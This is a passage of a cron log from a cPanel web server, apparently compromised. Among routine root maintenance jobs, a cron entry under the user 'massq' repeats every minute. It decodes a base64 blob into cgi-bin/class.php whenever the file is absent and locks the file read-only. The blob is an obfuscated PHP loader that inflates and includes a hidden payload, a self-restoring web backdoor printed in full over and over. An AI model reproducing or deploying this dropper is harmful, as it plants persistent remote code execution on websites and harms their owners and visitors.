hOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:15:01 server CROND[20865]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 02:16:01 server CROND[21878]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:16:01 server CROND[21879]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 02:16:01 server CROND[21880]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:17:01 server CROND[22301]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 02:17:01 server CROND[22302]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:17:01 server CROND[22303]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:18:01 server CROND[22678]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:18:01 server CROND[22679]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 02:18:01 server CROND[22680]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:19:01 server CROND[23253]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:19:01 server CROND[23254]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 02:19:01 server CROND[23252]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:20:01 server CROND[23653]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 02:20:01 server CROND[23654]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 02:20:01 server CROND[23657]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 02:20:01 server CROND[23659]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:20:01 server CROND[23661]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 02:20:01 server CROND[23660]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 02:20:01 server CROND[23658]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:20:01 server CROND[23664]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 02:20:01 server CROND[23662]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 02:21:01 server CROND[24602]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:21:01 server CROND[24604]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 02:21:01 server CROND[24603]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:22:01 server CROND[24987]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:22:01 server CROND[24988]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 02:22:01 server CROND[24989]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:23:01 server CROND[25368]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 02:23:01 server CROND[25369]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:23:01 server CROND[25370]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:24:01 server CROND[25760]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:24:01 server CROND[25761]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:24:01 server CROND[25762]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 02:25:01 server CROND[26131]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:25:01 server CROND[26133]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 02:25:01 server CROND[26137]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 02:25:01 server CROND[26140]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 02:25:01 server CROND[26136]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 02:25:01 server CROND[26134]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Aug 31 02:25:01 server CROND[26138]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:25:01 server CROND[26135]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 02:26:01 server CROND[27060]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:26:01 server CROND[27061]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 02:26:01 server CROND[27062]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:27:01 server CROND[27429]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 02:27:01 server CROND[27428]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:27:01 server CROND[27430]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
